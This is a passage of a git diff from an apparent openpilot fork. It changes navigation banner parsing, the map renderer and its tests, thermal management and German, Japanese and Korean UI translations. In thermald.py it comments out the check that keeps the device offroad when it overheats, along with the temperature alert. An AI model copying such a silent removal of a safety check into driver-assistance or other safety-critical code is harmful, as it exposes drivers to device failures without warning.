-> bool: + return field in dat and dat[field] is not None + + def parse_banner_instructions(instruction: Any, banners: Any, distance_to_maneuver: float = 0.0) -> None: if not len(banners): return @@ -144,19 +151,19 @@ def parse_banner_instructions(instruction: Any, banners: Any, distance_to_maneuv # Primary p = current_banner['primary'] - if 'text' in p: + if field_valid(p, 'text'): instruction.maneuverPrimaryText = p['text'] - if 'type' in p: + if field_valid(p, 'type'): instruction.maneuverType = p['type'] - if 'modifier' in p: + if field_valid(p, 'modifier'): instruction.maneuverModifier = p['modifier'] # Secondary - if 'secondary' in current_banner: + if field_valid(current_banner, 'secondary'): instruction.maneuverSecondaryText = current_banner['secondary']['text'] # Lane lines - if 'sub' in current_banner: + if field_valid(current_banner, 'sub'): lanes = [] for component in current_banner['sub']['components']: if component['type'] != 'lane': @@ -167,7 +174,7 @@ def parse_banner_instructions(instruction: Any, banners: Any, distance_to_maneuv 'directions': [string_to_direction(d) for d in component['directions']], } - if 'active_direction' in component: + if field_valid(component, 'active_direction'): lane['activeDirection'] = string_to_direction(component['active_direction']) lanes.append(lane) diff --git a/selfdrive/navd/map_renderer.h b/selfdrive/navd/map_renderer.h index 0019030b6..5739ba88f 100644 --- a/selfdrive/navd/map_renderer.h +++ b/selfdrive/navd/map_renderer.h @@ -34,7 +34,7 @@ private: std::unique_ptr vipc_server; std::unique_ptr pm; std::unique_ptr sm; - void publish(const double render_time); + void publish(const double render_time, const bool loaded); void sendThumbnail(const uint64_t ts, const kj::Array &buf); QMapboxGLSettings m_settings; @@ -43,6 +43,10 @@ private: void initLayers(); uint32_t frame_id = 0; + uint64_t last_llk_rendered = 0; + bool rendered() { + return last_llk_rendered == (*sm)["liveLocationKalman"].getLogMonoTime(); + } QTimer* timer; diff --git a/selfdrive/navd/navd.py b/selfdrive/navd/navd.py index 7af911ab2..29a390bad 100755 --- a/selfdrive/navd/navd.py +++ b/selfdrive/navd/navd.py @@ -102,6 +102,7 @@ class RouteEngine: new_destination = coordinate_from_param("NavDestination", self.params) if new_destination is None: self.clear_route() + self.reset_recompute_limits() return should_recompute = self.should_recompute() @@ -265,8 +266,7 @@ class RouteEngine: if distance_to_maneuver_along_geometry < -MANEUVER_TRANSITION_THRESHOLD: if self.step_idx + 1 < len(self.route): self.step_idx += 1 - self.recompute_backoff = 0 - self.recompute_countdown = 0 + self.reset_recompute_limits() else: cloudlog.warning("Destination reached") Params().remove("NavDestination") @@ -293,6 +293,10 @@ class RouteEngine: self.step_idx = None self.nav_destination = None + def reset_recompute_limits(self): + self.recompute_backoff = 0 + self.recompute_countdown = 0 + def should_recompute(self): if self.step_idx is None or self.route is None: return True diff --git a/selfdrive/navd/tests/test_map_renderer.py b/selfdrive/navd/tests/test_map_renderer.py new file mode 100755 index 000000000..934377fed --- /dev/null +++ b/selfdrive/navd/tests/test_map_renderer.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python3 +import os +import unittest + +import cereal.messaging as messaging +from cereal.visionipc import VisionIpcClient, VisionStreamType +from selfdrive.manager.process_config import managed_processes + +LLK_DECIMATION = 10 +CACHE_PATH = "/data/mbgl-cache-navd.db" + +def gen_llk(): + msg = messaging.new_message('liveLocationKalman') + msg.liveLocationKalman.positionGeodetic = {'value': [32.7174, -117.16277, 0], 'std': [0., 0., 0.], 'valid': True} + msg.liveLocationKalman.calibratedOrientationNED = {'value': [0., 0., 0.], 'std': [0., 0., 0.], 'valid': True} + msg.liveLocationKalman.status = 'valid' + return msg + + +class TestMapRenderer(unittest.TestCase): + @classmethod + def setUpClass(cls): + assert "MAPBOX_TOKEN" in os.environ + + def setUp(self): + self.sm = messaging.SubMaster(['mapRenderState']) + self.pm = messaging.PubMaster(['liveLocationKalman']) + self.vipc = VisionIpcClient("navd", VisionStreamType.VISION_STREAM_MAP, True) + + if os.path.exists(CACHE_PATH): + os.remove(CACHE_PATH) + + def tearDown(self): + managed_processes['mapsd'].stop() + + def _run_test(self, expect_valid): + # start + sync up + managed_processes['mapsd'].start() + assert self.pm.wait_for_readers_to_update("liveLocationKalman", 10) + + assert VisionIpcClient.available_streams("navd", False) == {VisionStreamType.VISION_STREAM_MAP, } + assert self.vipc.connect(False) + self.vipc.recv() + + # run test + prev_frame_id = -1 + for i in range(30*LLK_DECIMATION): + frame_expected = (i+1) % LLK_DECIMATION == 0 + + if self.sm.logMonoTime['mapRenderState'] == 0: + prev_valid = False + prev_frame_id = -1 + else: + prev_frame_id = self.sm['mapRenderState'].frameId + prev_valid = self.sm.valid['mapRenderState'] + + llk = gen_llk() + self.pm.send("liveLocationKalman", llk) + self.pm.wait_for_readers_to_update("liveLocationKalman", 10) + self.sm.update(1000 if frame_expected else 0) + assert self.sm.updated['mapRenderState'] == frame_expected, "renderer running at wrong frequency" + + if not frame_expected: + + continue + + # give a few frames to go valid + if expect_valid and not self.sm.valid['mapRenderState'] and not prev_valid and self.sm['mapRenderState'].frameId < 5: + continue + + # check output + assert self.sm.valid['mapRenderState'] == expect_valid + assert self.sm['mapRenderState'].frameId == (prev_frame_id + 1) + assert self.sm['mapRenderState'].locationMonoTime == llk.logMonoTime + if not expect_valid: + assert self.sm['mapRenderState'].renderTime == 0. + else: + assert 0. < self.sm['mapRenderState'].renderTime < 0.1 + + # check vision ipc output + assert self.vipc.recv() is not None + assert self.vipc.valid == expect_valid + assert self.vipc.timestamp_sof == llk.logMonoTime + assert self.vipc.frame_id == self.sm['mapRenderState'].frameId + + def test_with_internet(self): + self._run_test(True) + + def test_with_no_internet(self): + token = os.environ['MAPBOX_TOKEN'] + try: + os.environ['MAPBOX_TOKEN'] = 'invalid_token' + self._run_test(False) + finally: + os.environ['MAPBOX_TOKEN'] = token + +if __name__ == "__main__": + unittest.main() diff --git a/selfdrive/thermald/thermald.py b/selfdrive/thermald/thermald.py index 2839651e4..ca96c65c8 100755 --- a/selfdrive/thermald/thermald.py +++ b/selfdrive/thermald/thermald.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 # import datetime import os +import json import queue import threading import time @@ -12,7 +13,8 @@ import psutil import cereal.messaging as messaging from cereal import log -# from common.dict_helpers import strip_deprecated_keys +from common.dict_helpers import strip_deprecated_keys +from common.time import MIN_DATE from common.filter_simple import FirstOrderFilter from common.params import Params from common.realtime import DT_TRML, sec_since_boot @@ -41,12 +43,12 @@ HardwareState = namedtuple("HardwareState", ['network_type', 'network_info', 'ne THERMAL_BANDS = OrderedDict({ ThermalStatus.green: ThermalBand(None, 80.0), ThermalStatus.yellow: ThermalBand(75.0, 96.0), - ThermalStatus.red: ThermalBand(80.0, 107.), + ThermalStatus.red: ThermalBand(88.0, 107.), ThermalStatus.danger: ThermalBand(94.0, None), }) # Override to highest thermal band when offroad and above this temp -OFFROAD_DANGER_TEMP = 79.5 if TICI else 70.0 +OFFROAD_DANGER_TEMP = 75 if TICI else 70.0 prev_offroad_states: Dict[str, Tuple[bool, Optional[str]]] = {} @@ -101,6 +103,8 @@ def hw_state_thread(end_event, hw_queue): modem_version = None modem_nv = None modem_configured = False + modem_restarted = False + modem_missing_count = 0 while not end_event.is_set(): # these are expensive calls. update every 10s @@ -118,6 +122,16 @@ def hw_state_thread(end_event, hw_queue): if (modem_version is not None) and (modem_nv is not None): cloudlog.event("modem version", version=modem_version, nv=modem_nv) + else: + if not modem_restarted: + # TODO: we may be able to remove this with a MM update + # ModemManager's probing on startup can fail + # rarely, restart the service to probe again. + modem_missing_count += 1 + if modem_missing_count > 3: + modem_restarted = True + cloudlog.event("restarting ModemManager") + os.system("sudo systemctl restart --no-block ModemManager") tx, rx = HARDWARE.get_modem_data_usage() @@ -165,7 +179,8 @@ def thermald_thread(end_event, hw_queue): off_ts = None started_ts = None started_seen = False - thermal_status = ThermalStatus.green + startup_blocked_ts = None + thermal_status = ThermalStatus.yellow last_hw_state = HardwareState( network_type=NetworkType.none, @@ -177,8 +192,8 @@ def thermald_thread(end_event, hw_queue): modem_temps=[], ) - all_temp_filter = FirstOrderFilter(0., TEMP_TAU, DT_TRML) - offroad_temp_filter = FirstOrderFilter(0., TEMP_TAU, DT_TRML) + all_temp_filter = FirstOrderFilter(0., TEMP_TAU, DT_TRML, initialized=False) + offroad_temp_filter = FirstOrderFilter(0., TEMP_TAU, DT_TRML, initialized=False) should_start_prev = False in_car = False engaged_prev = False @@ -250,7 +265,7 @@ def thermald_thread(end_event, hw_queue): msg.deviceState.usbOnline = HARDWARE.get_usb_present() # current_filter.update(msg.deviceState.batteryCurrent / 1e6) - # this one is only used for offroad + # this subset is only used for offroad temp_sources = [ msg.deviceState.memoryTempC, max(msg.deviceState.cpuTempC), @@ -261,14 +276,15 @@ def thermald_thread(end_event, hw_queue): # this drives the thermal status while onroad temp_sources.append(max(msg.deviceState.pmicTempC)) all_comp_temp = all_temp_filter.update(max(temp_sources)) + msg.deviceState.maxTempC = all_comp_temp if fan_controller is not None: msg.deviceState.fanSpeedPercentDesired = fan_controller.update(all_comp_temp, onroad_conditions["ignition"]) is_offroad_for_5_min = (started_ts is None) and ((not started_seen) or (off_ts is None) or (sec_since_boot() - off_ts > 60 * 5)) if is_offroad_for_5_min and offroad_comp_temp > OFFROAD_DANGER_TEMP: - # If device is offroad we want to cool down before going onroad - # since going onroad increases load and can make temps go over 107 + # if device is offroad and already hot without the extra onroad load, + # we want to cool down first before increasing load thermal_status = ThermalStatus.danger else: current_band = THERMAL_BANDS[thermal_status] @@ -282,13 +298,12 @@ def thermald_thread(end_event, hw_queue): # Ensure date/time are valid # now = datetime.datetime.utcnow() - # startup_conditions["time_valid"] = (now.year > 2020) or (now.year == 2020 and now.month >= 10) + # startup_conditions["time_valid"] = now > MIN_DATE # set_offroad_alert_if_changed("Offroad_InvalidTime", (not startup_conditions["time_valid"])) # startup_conditions["up_to_date"] = params.get("Offroad_ConnectivityNeeded") is None or params.get_bool("DisableUpdates") or params.get_bool("SnoozeUpdate") startup_conditions["not_uninstalling"] = not params.get_bool("DoUninstall") startup_conditions["accepted_terms"] = params.get("HasAcceptedTerms") == terms_version - startup_conditions["offroad_min_time"] = (not started_seen) or ((off_ts is not None) and (sec_since_boot() - off_ts) > 5.) # with 2% left, we killall, otherwise the phone will take a long time to boot # startup_conditions["free_space"] = msg.deviceState.freeSpacePercent > 2 @@ -296,11 +311,15 @@ def thermald_thread(end_event, hw_queue): params.get_bool("Passive") startup_conditions["not_driver_view"] = not params.get_bool("IsDriverViewEnabled") startup_conditions["not_taking_snapshot"] = not params.get_bool("IsTakingSnapshot") - # if any CPU gets above 107 or the battery gets above 63, kill all processes - # controls will warn with CPU above 95 or battery above 60 - if not dp_device_disable_temp_check: - onroad_conditions["device_temp_good"] = thermal_status < ThermalStatus.danger - set_offroad_alert_if_changed("Offroad_TemperatureTooHigh", (not onroad_conditions["device_temp_good"])) + + # # must be at an engageable thermal band to go onroad + # startup_conditions["device_temp_engageable"] = thermal_status < ThermalStatus.red + # + # # if the temperature enters the danger zone, go offroad to cool down + # onroad_conditions["device_temp_good"] = thermal_status < ThermalStatus.danger + # extra_text = f"{offroad_comp_temp:.1f}C" + # show_alert = (not onroad_conditions["device_temp_good"] or not startup_conditions["device_temp_engageable"]) and onroad_conditions["ignition"] + # set_offroad_alert_if_changed("Offroad_TemperatureTooHigh", show_alert, extra_text=extra_text) # TODO: this should move to TICI.initialize_hardware, but we currently can't import params there if TICI: @@ -345,10 +364,16 @@ def thermald_thread(end_event, hw_queue): if started_ts is None: started_ts = sec_since_boot() started_seen = True + if startup_blocked_ts is not None: + cloudlog.event("Startup after block", block_duration=(sec_since_boot() - startup_blocked_ts), + startup_conditions=startup_conditions, onroad_conditions=onroad_conditions, + startup_conditions_prev=startup_conditions_prev, error=True) + startup_blocked_ts = None else: if onroad_conditions["ignition"] and (startup_conditions != startup_conditions_prev): cloudlog.event("Startup blocked", startup_conditions=startup_conditions, onroad_conditions=onroad_conditions, error=True) startup_conditions_prev = startup_conditions.copy() + startup_blocked_ts = sec_since_boot() started_ts = None if off_ts is None: @@ -390,8 +415,6 @@ def thermald_thread(end_event, hw_queue): msg.deviceState.thermalStatus = thermal_status pm.send("deviceState", msg) - should_start_prev = should_start - # Log to statsd # statlog.gauge("free_space_percent", msg.deviceState.freeSpacePercent) # statlog.gauge("gpu_usage_percent", msg.deviceState.gpuUsagePercent) @@ -414,15 +437,26 @@ def thermald_thread(end_event, hw_queue): # statlog.gauge("screen_brightness_percent", msg.deviceState.screenBrightnessPercent) # report to server once every 10 minutes - # if (count % int(600. / DT_TRML)) == 0: - # cloudlog.event("STATUS_PACKET", - # count=count, - # pandaStates=[strip_deprecated_keys(p.to_dict()) for p in pandaStates], - # peripheralState=strip_deprecated_keys(peripheralState.to_dict()), - # location=(strip_deprecated_keys(sm["gpsLocationExternal"].to_dict()) if sm.alive["gpsLocationExternal"] else None), - # deviceState=strip_deprecated_keys(msg.to_dict())) + # rising_edge_started = should_start and not should_start_prev + # if rising_edge_started or (count % int(600. / DT_TRML)) == 0: + # dat = { + # 'count': count, + # 'pandaStates': [strip_deprecated_keys(p.to_dict()) for p in pandaStates], + # 'peripheralState': strip_deprecated_keys(peripheralState.to_dict()), + # 'location': (strip_deprecated_keys(sm["gpsLocationExternal"].to_dict()) if sm.alive["gpsLocationExternal"] else None), + # 'deviceState': strip_deprecated_keys(msg.to_dict()) + # } + # cloudlog.event("STATUS_PACKET", **dat) # + # # save last one before going onroad + # if rising_edge_started: + # try: + # params.put("LastOffroadStatusPacket", json.dumps(dat)) + # except Exception: + # cloudlog.exception("failed to save offroad status") + count += 1 + should_start_prev = should_start def main(): diff --git a/selfdrive/ui/.gitignore b/selfdrive/ui/.gitignore index 60eb4b43c..cb9565219 100644 --- a/selfdrive/ui/.gitignore +++ b/selfdrive/ui/.gitignore @@ -12,3 +12,4 @@ qt/setup/setup qt/setup/reset qt/setup/wifi qt/setup/updater +translations/alerts_generated.h diff --git a/selfdrive/ui/_ui b/selfdrive/ui/_ui index 1236217c0..a08b0adaf 100755 Binary files a/selfdrive/ui/_ui and b/selfdrive/ui/_ui differ diff --git a/selfdrive/ui/qt/libpython_helpers.so b/selfdrive/ui/qt/libpython_helpers.so index 02dcf6c58..629f1834e 100755 Binary files a/selfdrive/ui/qt/libpython_helpers.so and b/selfdrive/ui/qt/libpython_helpers.so differ diff --git a/selfdrive/ui/qt/spinner b/selfdrive/ui/qt/spinner index aa7ec8d72..99c0ffd06 100755 Binary files a/selfdrive/ui/qt/spinner and b/selfdrive/ui/qt/spinner differ diff --git a/selfdrive/ui/qt/text b/selfdrive/ui/qt/text index fb61bee2e..384a0a1d9 100755 Binary files a/selfdrive/ui/qt/text and b/selfdrive/ui/qt/text differ diff --git a/selfdrive/ui/soundd/_soundd b/selfdrive/ui/soundd/_soundd index 0fd03a990..932c1b416 100755 Binary files a/selfdrive/ui/soundd/_soundd and b/selfdrive/ui/soundd/_soundd differ diff --git a/selfdrive/ui/translations/main_de.ts b/selfdrive/ui/translations/main_de.ts index 17ced2e4c..b165c5b34 100644 --- a/selfdrive/ui/translations/main_de.ts +++ b/selfdrive/ui/translations/main_de.ts @@ -90,32 +90,6 @@ LIMIT - - C2NetworkPanel - - Wi-Fi Settings - - - - OPEN - - - - Tethering Settings - - - - IP Address - IP Adresse - - - - CarSelectionPanel - - [AUTO SELECT] - - - ConfirmationDialog @@ -127,183 +101,6 @@ Abbrechen - - DPCtrlPanel - - When enabled, openpilot lateral Control will be always on when ACC MAIN is ON. -Reboot required. - - - - Enable MapD - - - - When enabled, openpilot will display current road name and speed limit on the screen. -Reboot required. - - - - Enable Lane Priority Mode - - - - When enabled, openpilot will use lane lines for lateral control, fallback to laneless mode automatically when lane lines probabilities are low. -Reboot required. - - - - Enable Auto Shutdown - - - - When enabled, openpilot will shutdown the device automatically. -Reboot required. - - - - Auto Shutdown In - - - - mins - - - - Enable Stop and Go (SnG) Hack - - - - When enabled, openpilot will stop sending standstill signal when the car is fully stopped. -ONLY WORK ON SOME VEHICLES. -Reboot Required. - - - - Enable Door Auto Locking - - - - When enabled, openpilot will attempt to lock the doors when drive above 10 km/h (6.2 mph). -Reboot Required. - - - - Enable Door Auto Unlocking - - - - When enabled, openpilot will attempt to unlock the doors when shift to gear P. -Reboot Required. - - - - When enabled, openpilot will use the good old 0.8.13.1 driving model. -For safety reason, vision only openpilot longitudinal will be disabled. -Reboot required. - - - - Use 0.8.13.1 Driving Model - - - - Ctrl - Lateral - - - - Enable ALKA - - - - Ctrl - Longitudinal - - - - Device - Gerät - - - Ctrl - Overall - - - - Toyota / Lexus - - - - Disable Temp Check - - - - When enabled, openpilot will disable device temperature check. -**NOTED** An overheated device may result in random shutdowns or lag. -Reboot required. - - - - Disable IR - - - - When enabled, openpilot will disable IR completely. -Reboot required. - - - - Standard - - - - On-Road - - - - MAIN - - - - OP - - - - Off - - - - Display Mode - - - - On-Road - When driving, the display will be off (excl. warning). -MAIN - When ACC MAIN is on, the display will be off (excl. warning). -OP - When OP is enabled, the display will be off (excl. warning). -Off - the display will be off completely (incl. warning). -Reboot required. - - - - Warning - - - - Audible Alert Mode - - - - Warning - Only emits sound when there is a warning. -Off - Does not emit any sound at all. - - - - Adjust your shutdown waiting period. - - - - Immediately - - - DeclinePage @@ -319,6 +116,33 @@ Off - Does not emit any sound at all. Ablehnen, deinstallieren %1 + + DestinationWidget + + Home + + + + Work + + + + No destination set + + + + No %1 location set + + + + home + + + + work + + + DevicePanel @@ -449,14 +273,6 @@ Off - Does not emit any sound at all. Review Überprüfen - - Debug Console - - - - Error displaying tmux output. - - DriveStats @@ -567,42 +383,14 @@ Off - Does not emit any sound at all. - MapPanel + MapSettings - Current Destination - Aktuelles Ziel + NAVIGATION + - CLEAR - LÖSCHEN - - - Recent Destinations - Letzte Ziele - - - Try the Navigation Beta - Beta Navigation ausprobieren - - - Get turn-by-turn directions displayed and more with a comma -prime subscription. Sign up now: https://connect.comma.ai - Erhalte echtzeit Wegführung und mehr mit dem comma prime -Abonnement. Melde dich jetzt an: https://connect.comma.ai - - - No home -location set - Keine Heimadresse gesetzt - - - No work -location set - Keine Arbeitsadresse gesetzt - - - no recent destinations - Keine kürzlich gewählten Ziele + Manage at connect.comma.ai + @@ -615,6 +403,10 @@ location set Waiting for GPS Warten auf GPS + + Waiting for route + + MultiOptionDialog @@ -646,6 +438,62 @@ location set Falsches Passwort + + OffroadAlert + + Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in %1 + + + + Connect to internet to check for updates. openpilot won't automatically start until it connects to internet to check for updates. + + + + Unable to download updates +%1 + + + + Invalid date and time settings, system won't start. Connect to internet to set time. + + + + Taking camera snapshots. System won't start until finished. + + + + An update to your device's operating system is downloading in the background. You will be prompted to update when it's ready to install. + + + + Device failed to register. It will not connect to or upload to comma.ai servers, and receives no support from comma.ai. If this is an official device, visit https://comma.ai/support. + + + + NVMe drive not mounted. + + + + Unsupported NVMe drive detected. Device may draw significantly more power and overheat due to the unsupported NVMe. + + + + openpilot was unable to identify your car. Your car is either unsupported or its ECUs are not recognized. Please submit a pull request to add the firmware versions to the proper vehicle. Need help? Join discord.comma.ai. + + + + openpilot was unable to identify your car. Check integrity of cables and ensure all connections are secure, particularly that the comma power is fully inserted in the OBD-II port of the vehicle. Need help? Join discord.comma.ai. + + + + openpilot detected a change in the device's mounting position. Ensure the device is fully seated in the mount and the mount is firmly secured to the windshield. + + + + Device temperature too high. System cooling down before starting. Current internal component temperature: %1 + + + OffroadHome @@ -710,12 +558,16 @@ location set Fernzugriff - 1 year of storage - 1 Jahr Speicherplatz + 24/7 LTE connectivity + - Developer perks - Entwickler Vorteile + Turn-by-turn navigation + + + + 1 year of drive storage + @@ -831,18 +683,6 @@ This may take up to a minute. Software Software - - Navigation - Navigation - - - Vehicle Model: - - - - [AUTO SELECT] - - Setup @@ -1255,14 +1095,6 @@ This may take up to a minute. openpilot longitudinal control may come in a future update. - - An experimental version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - - - - Enable experimental longitudinal control to allow Experimental mode. - Aktiviere den experimentellen Openpilot Tempomaten für experimentelle Funktionen. - openpilot Longitudinal Control (Alpha) @@ -1292,15 +1124,23 @@ This may take up to a minute. - Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. + Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. In relaxed mode openpilot will stay further away from lead cars. - Enable Right-Hand Drive + An alpha version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - Allow openpilot to obey left-hand traffic conventions and perform driver monitoring on right driver seat. + Navigate on openpilot + + + + When navigation has a destination, openpilot will input the map information into the model. This generally improves behavior and allows openpilot to keep left or right appropriately at forks/exits and take turns. Lane change behavior is unchanged and still activated by the driver. This is an alpha quality feature; mistakes should be expected. + + + + Enable the openpilot longitudinal control (alpha) toggle to allow Experimental mode. diff --git a/selfdrive/ui/translations/main_ja.ts b/selfdrive/ui/translations/main_ja.ts index 4b76f56b1..afa60e5f9 100644 --- a/selfdrive/ui/translations/main_ja.ts +++ b/selfdrive/ui/translations/main_ja.ts @@ -90,32 +90,6 @@ 制限速度 - - C2NetworkPanel - - Wi-Fi Settings - - - - OPEN - - - - Tethering Settings - - - - IP Address - IP アドレス - - - - CarSelectionPanel - - [AUTO SELECT] - - - ConfirmationDialog @@ -127,183 +101,6 @@ キャンセル - - DPCtrlPanel - - When enabled, openpilot lateral Control will be always on when ACC MAIN is ON. -Reboot required. - - - - Enable MapD - - - - When enabled, openpilot will display current road name and speed limit on the screen. -Reboot required. - - - - Enable Lane Priority Mode - - - - When enabled, openpilot will use lane lines for lateral control, fallback to laneless mode automatically when lane lines probabilities are low. -Reboot required. - - - - Enable Auto Shutdown - - - - When enabled, openpilot will shutdown the device automatically. -Reboot required. - - - - Auto Shutdown In - - - - mins - - - - Enable Stop and Go (SnG) Hack - - - - When enabled, openpilot will stop sending standstill signal when the car is fully stopped. -ONLY WORK ON SOME VEHICLES. -Reboot Required. - - - - Enable Door Auto Locking - - - - When enabled, openpilot will attempt to lock the doors when drive above 10 km/h (6.2 mph). -Reboot Required. - - - - Enable Door Auto Unlocking - - - - When enabled, openpilot will attempt to unlock the doors when shift to gear P. -Reboot Required. - - - - When enabled, openpilot will use the good old 0.8.13.1 driving model. -For safety reason, vision only openpilot longitudinal will be disabled. -Reboot required. - - - - Use 0.8.13.1 Driving Model - - - - Ctrl - Lateral - - - - Enable ALKA - - - - Ctrl - Longitudinal - - - - Device - デバイス - - - Ctrl - Overall - - - - Toyota / Lexus - - - - Disable Temp Check - - - - When enabled, openpilot will disable device temperature check. -**NOTED** An overheated device may result in random shutdowns or lag. -Reboot required. - - - - Disable IR - - - - When enabled, openpilot will disable IR completely. -Reboot required. - - - - Standard - - - - On-Road - - - - MAIN - - - - OP - - - - Off - - - - Display Mode - - - - On-Road - When driving, the display will be off (excl. warning). -MAIN - When ACC MAIN is on, the display will be off (excl. warning). -OP - When OP is enabled, the display will be off (excl. warning). -Off - the display will be off completely (incl. warning). -Reboot required. - - - - Warning - - - - Audible Alert Mode - - - - Warning - Only emits sound when there is a warning. -Off - Does not emit any sound at all. - - - - Adjust your shutdown waiting period. - - - - Immediately - - - DeclinePage @@ -319,6 +116,33 @@ Off - Does not emit any sound at all. 拒否して %1 をアンインストール + + DestinationWidget + + Home + + + + Work + + + + No destination set + + + + No %1 location set + + + + home + + + + work + + + DevicePanel @@ -449,14 +273,6 @@ Off - Does not emit any sound at all. Review 確認 - - Debug Console - - - - Error displaying tmux output. - - DriveStats @@ -566,44 +382,14 @@ Off - Does not emit any sound at all. - MapPanel + MapSettings - Current Destination - 現在の目的地 + NAVIGATION + - CLEAR - 削除 - - - Recent Destinations - 最近の目的地 - - - Try the Navigation Beta - β版ナビゲーションを試す - - - Get turn-by-turn directions displayed and more with a comma -prime subscription. Sign up now: https://connect.comma.ai - より詳細な案内情報を得ることができます。 -詳しくはこちら:https://connect.comma.ai - - - No home -location set - 自宅の住所はまだ -設定されていません - - - No work -location set - 職場の住所はまだ -設定されていません - - - no recent destinations - 最近の目的地履歴がありません + Manage at connect.comma.ai + @@ -616,6 +402,10 @@ location set Waiting for GPS GPS信号を探しています + + Waiting for route + + MultiOptionDialog @@ -647,6 +437,62 @@ location set パスワードが間違っています + + OffroadAlert + + Immediately connect to the internet to check for updates. If you do not connect to the internet, openpilot won't engage in %1 + + + + Connect to internet to check for updates. openpilot won't automatically start until it connects to internet to check for updates. + + + + Unable to download updates +%1 + + + + Invalid date and time settings, system won't start. Connect to internet to set time. + + + + Taking camera snapshots. System won't start until finished. + + + + An update to your device's operating system is downloading in the background. You will be prompted to update when it's ready to install. + + + + Device failed to register. It will not connect to or upload to comma.ai servers, and receives no support from comma.ai. If this is an official device, visit https://comma.ai/support. + + + + NVMe drive not mounted. + + + + Unsupported NVMe drive detected. Device may draw significantly more power and overheat due to the unsupported NVMe. + + + + openpilot was unable to identify your car. Your car is either unsupported or its ECUs are not recognized. Please submit a pull request to add the firmware versions to the proper vehicle. Need help? Join discord.comma.ai. + + + + openpilot was unable to identify your car. Check integrity of cables and ensure all connections are secure, particularly that the comma power is fully inserted in the OBD-II port of the vehicle. Need help? Join discord.comma.ai. + + + + openpilot detected a change in the device's mounting position. Ensure the device is fully seated in the mount and the mount is firmly secured to the windshield. + + + + Device temperature too high. System cooling down before starting. Current internal component temperature: %1 + + + OffroadHome @@ -711,12 +557,16 @@ location set リモートアクセス - 1 year of storage - 一年間の保存期間 + 24/7 LTE connectivity + - Developer perks - 開発者向け特典 + Turn-by-turn navigation + + + + 1 year of drive storage + @@ -829,18 +679,6 @@ This may take up to a minute. Software ソフトウェア - - Navigation - ナビゲーション - - - Vehicle Model: - - - - [AUTO SELECT] - - Setup @@ -1249,14 +1087,6 @@ This may take up to a minute. openpilot longitudinal control may come in a future update. - - An experimental version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - - - - Enable experimental longitudinal control to allow Experimental mode. - 実験段階のopenpilotによるアクセル制御を有効にしてください。 - openpilot Longitudinal Control (Alpha) @@ -1286,15 +1116,23 @@ This may take up to a minute. - Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. + Standard is recommended. In aggressive mode, openpilot will follow lead cars closer and be more aggressive with the gas and brake. In relaxed mode openpilot will stay further away from lead cars. - Enable Right-Hand Drive + An alpha version of openpilot longitudinal control can be tested, along with Experimental mode, on non-release branches. - Allow openpilot to obey left-hand traffic conventions and perform driver monitoring on right driver seat. + Navigate on openpilot + + + + When navigation has a destination, openpilot will input the map information into the model. This generally improves behavior and allows openpilot to keep left or right appropriately at forks/exits and take turns. Lane change behavior is unchanged and still activated by the driver. This is an alpha quality feature; mistakes should be expected. + + + + Enable the openpilot longitudinal control (alpha) toggle to allow Experimental mode. diff --git a/selfdrive/ui/translations/main_ko.ts b/selfdrive/ui/translations/main_ko.ts index 1ec3b81fa..77ca0197c 100644 --- a/selfdrive/ui/translations/main_ko.ts +++ b/selfdrive/ui/translations/main_ko.ts @@ -64,7 +64,7 @@ Prevent large data uploads when on a metered connection - 데이터 요금제 연결 시 대용량 데이터 업로드 방지 + 데이터 요금제 연결 시 대용량 데이터 업로드를 방지합니다 @@ -90,32 +90,6 @@ LIMIT - - C2NetworkPanel - - Wi-Fi Settings - - - - OPEN - - - - Tethering Settings - - - - IP Address - IP 주소 - - - - CarSelectionPanel - - [AUTO SELECT] - - - ConfirmationDialog @@ -127,183 +101,6 @@ 취소 - - DPCtrlPanel - - When enabled, openpilot lateral Control will be always on when ACC MAIN is ON. -Reboot required. - - - - Enable MapD - - - - When enabled, openpilot will display current road name and speed limit on the screen. -Reboot required. - - - - Enable Lane Priority Mode - - - - When enabled, openpilot will use lane lines for lateral control, fallback to laneless mode automatically when lane lines probabilities are low. -Reboot required. - - - - Enable Auto Shutdown - - - - When enabled, openpilot will shutdown the device automatically. -Reboot required. - - - - Auto Shutdown In - - - - mins - - - - Enable Stop and Go (SnG) Hack - - - - When enabled, openpilot will stop sending standstill signal when the car is fully stopped. -ONLY WORK ON SOME VEHICLES. -Reboot Required. - - - - Enable Door Auto Locking - - - - When enabled, openpilot will attempt to lock the doors when drive above 10 km/h (6.2 mph). -Reboot Required. - - - - Enable Door Auto Unlocking - - - - When enabled, openpilot will attempt to unlock the doors when shift to gear P. -Reboot Required. - - - - When enabled, openpilot will use the good old 0.8.13.1 driving model. -For safety reason, vision only openpilot longitudinal will be disabled. -Reboot required. - - - - Use 0.8.13.1 Driving Model - - - - Ctrl - Lateral - - - - Enable ALKA - - - - Ctrl - Longitudinal - - - - Device - 장치 - - - Ctrl - Overall - - - - Toyota / Lexus - - - - Disable Temp Check - - - - When enabled, openpilot will disable device temperature check. -**NOTED** An overheated device may result in random shutdowns or lag. -Reboot required. - - - - Disable IR - - - - When enabled, openpilot will disable IR completely. -Reboot required. - - - - Standard - - - - On-Road - - - - MAIN - - - - OP - - - - Off - - - - Display Mode - - - - On-Road - When driving, the display will be off (excl. warning). -MAIN - When ACC MAIN is on, the display will be off (excl. warning). -OP - When OP is enabled, the display will be off (excl. warning). -Off - the display will be off completely (incl. warning). -Reboot required. - - - - Warning - - - - Audible Alert Mode - - - - Warning - Only emits sound when there is a warning. -Off - Does not emit any sound at all. - - - - Adjust your shutdown waiting period. - - - - Immediately - - - DeclinePage @@ -319,6 +116,33 @@ Off - Does not emit any sound at all. 거절, %1 제거 + + DestinationWidget + + Home + + + + Work + 회사 + + + No destination set + 목적지가 설정되지 않았습니다 + + + No %1 location set + %1 위치가 설정되지 않았습니다 + + + home + + + + work + 회사 + + DevicePanel @@ -343,7 +167,7 @@ Off - Does not emit any sound at all. Preview the driver facing camera to ensure that driver monitoring has good visibility. (vehicle must be off) - 